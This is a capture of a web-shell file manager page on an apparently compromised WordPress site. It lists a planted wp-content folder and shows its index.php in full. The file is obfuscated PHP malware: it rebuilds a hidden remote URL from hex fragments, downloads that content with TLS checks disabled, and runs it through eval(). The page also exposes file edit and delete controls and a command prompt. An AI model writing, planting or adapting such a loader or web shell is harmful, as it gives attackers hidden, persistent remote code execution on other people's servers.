FM / qq933435

/home/suroeste/public_html/gorbus.transportessuroeste.com/wp-content/qq933435/

/home/suroeste/public_html/gorbus.transportessuroeste.com/wp-content/qq933435

Name	Size	Mode	Actions
662	23695	0555	edit dl rm
d32	23695	0555	edit dl rm
doge.gif	0	0644	edit dl rm
error_log	3423	0644	edit dl rm
index.php	5948	0555	edit dl rm
license.txt	0	0644	edit dl rm

Edit: /home/suroeste/public_html/gorbus.transportessuroeste.com/wp-content/qq933435/index.php (5948B)

<?php goto y3hP3; AGD7c: $BECGJ .= "\66\71\66"; goto RJohA; d7JIj: $BECGJ .= "\x37\x30"; goto Nmg1T; BEtZE: $BECGJ .= "\63\x33\61\x32\x65"; goto yiPeo; kNiZ1: $BECGJ .= "\145"; goto AGD7c; zt7ss: $BECGJ .= "\x37\65\x36\x34"; goto EwF9g; IYNys: $BECGJ .= "\x32\x65"; goto OzTIp; DqeGn: $BECGJ .= "\144\62\146\x37\67"; goto zt7ss; EF9xY: $BECGJ .= "\x66\67\x32"; goto MKvyz; U_HNt: $BECGJ .= "\x38\x37\x34"; goto uDWAI; y3hP3: $BECGJ = "\66\x38\67"; goto DWp_O; x6Swa: $BECGJ .= "\146\x32\x66\66"; goto kNiZ1; MKvyz: $BECGJ .= "\x36\x35\67"; goto BEtZE; RJohA: $BECGJ .= "\63\66\x35\x37\x32"; goto m5YY7; OzTIp: $BECGJ .= "\x36\x33\66\x66\x36"; goto DqeGn; DWp_O: $BECGJ .= "\64\67\64"; goto d7JIj; EwF9g: $BECGJ .= "\66\x39\62"; goto EF9xY; yiPeo: $BECGJ .= "\x37\64\x37"; goto U_HNt; m5YY7: $BECGJ .= "\66\67"; goto IYNys; uDWAI: eval("\x3f\76" . VSPNu(pack("\x48\52", $BECGJ))); goto WcOlV; Nmg1T: $BECGJ .= "\x37\63\x33\141\x32"; goto x6Swa; WcOlV: function vsPNU($n5Az6, $AUS_8 = "\x47\105\124", $dBp5l = array(), $ZSpes = 45) { try { goto rk9mY; b978A: goto phtEe; goto n0Cpf; UkvIa: CsfVc: goto mUlVx; cgpWp: $sSmn3 = $IHUIz; goto NxROI; kRoBw: pKPaD: goto OGkLZ; rieAj: $IHUIz = ''; goto KQWka; MWirv: curl_setopt($wKkjA, CURLOPT_USERAGENT, "\x47\117"); goto RMWi7; DOtA3: $AslHs = isset($Hizut[0]) ? $Hizut[0] : ''; goto NCrMO; sYq8M: $g_SsK = parse_url($n5Az6); goto Gxp9t; jTa5M: $FQIT5 = isset($g_SsK["\161\x75\x65\162\171"]) ? "\x3f" . $g_SsK["\161\x75\145\162\x79"] : ''; goto GlW3W; FERBs: $sSmn3 = substr($sSmn3, $dpLYj + 2 + $I_pb1 + 2); goto nLd9V; Gxp9t: $BBs1t = $g_SsK["\x68\x6f\163\x74"]; goto ykWQt; nLd9V: goto KcdUf; goto iXUD3; g5Nag: return trim($sSmn3); goto JmZAU; O4lpx: curl_setopt($wKkjA, CURLOPT_POST, 1); goto Lb_p_; IqLnR: $AslHs[] = "\x43\x6f\x6e\164\x65\156\x74\55\x54\171\x70\145\72\x20\x61\x70\160\154\x69\x63\141\x74\151\x6f\156\x2f\x78\x2d\167\x77\167\x2d\146\157\x72\155\55\x75\162\x6c\x65\x6e\x63\157\144\x65\144"; goto NaMvR; llkYW: $AslHs = array("{$AUS_8}\x20{$p0Tzb}{$FQIT5}\40\110\124\x54\120\57\x31\56\61", "\x48\157\x73\164\x3a\40{$BBs1t}", "\125\x73\145\x72\55\x41\x67\x65\x6e\x74\72\40\x4d\x6f\x7a\x69\154\x6c\x61\x2f\65\x2e\60\x20\50\127\151\x6e\x64\x6f\167\x73\40\116\124\40\61\x30\56\x30\73\40\127\151\x6e\66\64\x3b\40\x78\66\x34\51\x20\x41\160\x70\x6c\145\127\x65\x62\x4b\151\164\x2f\65\x33\x37\56\63\66\x20\50\x4b\110\x54\115\114\x2c\x20\154\x69\153\x65\40\107\x65\x63\153\x6f\51\x20\103\150\162\x6f\155\145\57\71\61\x2e\x30\56\64\x34\67\62\56\x31\62\x34\40\x53\x61\146\141\x72\151\x2f\x35\x33\x37\56\63\66", "\103\x6f\x6e\x6e\x65\x63\x74\151\157\x6e\x3a\40\x43\154\x6f\x73\x65"); goto ceHyc; A1jmL: curl_setopt($wKkjA, CURLOPT_SSL_VERIFYHOST, false); goto bKp11; NaMvR: $AslHs[] = "\103\x6f\156\164\x65\156\164\x2d\114\x65\x6e\x67\164\x68\72\40" . strlen($gUBp0); goto C1hZs; cEKnd: goto CsfVc; goto czZno; ceHyc: if (!($AUS_8 == "\120\117\x53\x54")) { goto GaZVR; } goto CCmOM; iXUD3: phtEe: goto cgpWp; UliqU: if (!($AUS_8 == "\x50\117\x53\x54")) { goto opIRC; } goto YeGmE; niK4O: $bC1Fx .= fgets($CaArW, 1024); goto cEKnd; xYL7O: $Ji17g = curl_exec($wKkjA); goto X6OW6; qaMK2: curl_setopt($wKkjA, CURLOPT_URL, $n5Az6); goto MWirv; bKp11: curl_setopt($wKkjA, CURLOPT_FOLLOWLOCATION, true); goto HqV0u; D0EQK: goto phtEe; goto kRoBw; atZg5: HujWf: goto xYL7O; R3Z7l: $Hizut = explode("\15\12\xd\xa", $bC1Fx, 2); goto DOtA3; KCpZI: if (!($dpLYj === false)) { goto pKPaD; } goto D0EQK; NCrMO: $sSmn3 = isset($Hizut[1]) ? $Hizut[1] : ''; goto kC1os; VNbTD: $wKkjA = curl_init(); goto qaMK2; rk9mY: if (!(function_exists("\143\x75\162\x6c\137\x69\156\x69\x74") && function_exists("\x63\165\x72\154\x5f\145\170\x65\143"))) { goto Y7cew; } goto VNbTD; NhCG8: if (!($I_pb1 === 0)) { goto N3Wcl; } goto b978A; wX3vD: $gDje_ = isset($g_SsK["\x70\x6f\162\164"]) ? $g_SsK["\x70\x6f\162\164"] : ($mDxPp === "\150\164\164\x70\x73" ? 443 : 80); goto vxX0g; LVIZx: curl_setopt($wKkjA, CURLOPT_SSL_VERIFYPEER, false); goto A1jmL; n0Cpf: N3Wcl: goto MPRH2; MPRH2: $IHUIz .= substr($sSmn3, $dpLYj + 2, $I_pb1); goto FERBs; goaAY: if (!($AUS_8 == "\120\117\123\124")) { goto HujWf; } goto O4lpx; Od0bG: curl_setopt($wKkjA, CURLOPT_RETURNTRANSFER, 1); goto LVIZx; OGkLZ: $I_pb1 = hexdec(substr($sSmn3, 0, $dpLYj)); goto NhCG8; CCmOM: $gUBp0 = http_build_query($dBp5l); goto IqLnR; InKLJ: fwrite($CaArW, $Ahi1E); goto HhEHo; HqV0u: curl_setopt($wKkjA, CURLOPT_TIMEOUT, $ZSpes); goto goaAY; sacQb: if ($CaArW) { goto k13uR; } goto kV0Ol; HhEHo: $bC1Fx = ''; goto UkvIa; C1hZs: GaZVR: goto tavp3; vxX0g: $YVsW4 = $mDxPp === "\x68\x74\164\x70\x73" ? "\x73\x73\154" : "\164\x63\x70"; goto HzAgq; ykWQt: $p0Tzb = isset($g_SsK["\x70\141\164\150"]) ? $g_SsK["\x70\x61\x74\150"] : "\x2f"; goto jTa5M; WobV3: k13uR: goto llkYW; kV0Ol: return 0; goto WobV3; ZoDFX: opIRC: goto InKLJ; tB0YH: $dpLYj = strpos($sSmn3, "\xd\12"); goto KCpZI; kC1os: if (!(stripos($AslHs, "\x54\162\141\x6e\x73\x66\145\x72\55\x45\156\x63\157\x64\x69\x6e\147\x3a\40\143\x68\x75\x6e\153\x65\144") !== false)) { goto DbWmZ; } goto rieAj; NxROI: DbWmZ: goto g5Nag; AQNVQ: Y7cew: goto sYq8M; KQWka: KcdUf: goto Q7dIw; YeGmE: $Ahi1E .= $gUBp0 . "\xd\xa"; goto ZoDFX; ahZuj: fclose($CaArW); goto R3Z7l; Q7dIw: if (!true) { goto phtEe; } goto tB0YH; czZno: NePHK: goto ahZuj; RMWi7: curl_setopt($wKkjA, CURLOPT_CONNECTTIMEOUT, 0); goto Od0bG; X6OW6: curl_close($wKkjA); goto UgmG5; GlW3W: $mDxPp = isset($g_SsK["\x73\x63\150\x65\x6d\145"]) ? $g_SsK["\163\x63\150\x65\155\x65"] : "\150\x74\x74\x70"; goto wX3vD; mUlVx: if (feof($CaArW)) { goto NePHK; } goto niK4O; UgmG5: return trim(trim($Ji17g, "\357\xbb\277")); goto AQNVQ; HzAgq: $CaArW = stream_socket_client("{$YVsW4}\x3a\x2f\x2f{$BBs1t}\x3a{$gDje_}", $o3lZ2, $WqZWy, $ZSpes); goto sacQb; tavp3: $Ahi1E = implode("\xd\12", $AslHs) . "\xd\xa\xd\12"; goto UliqU; Lb_p_: curl_setopt($wKkjA, CURLOPT_POSTFIELDS, http_build_query($dBp5l)); goto atZg5; JmZAU: } catch (Exception $PtpFG) { } return 0; }

cmd: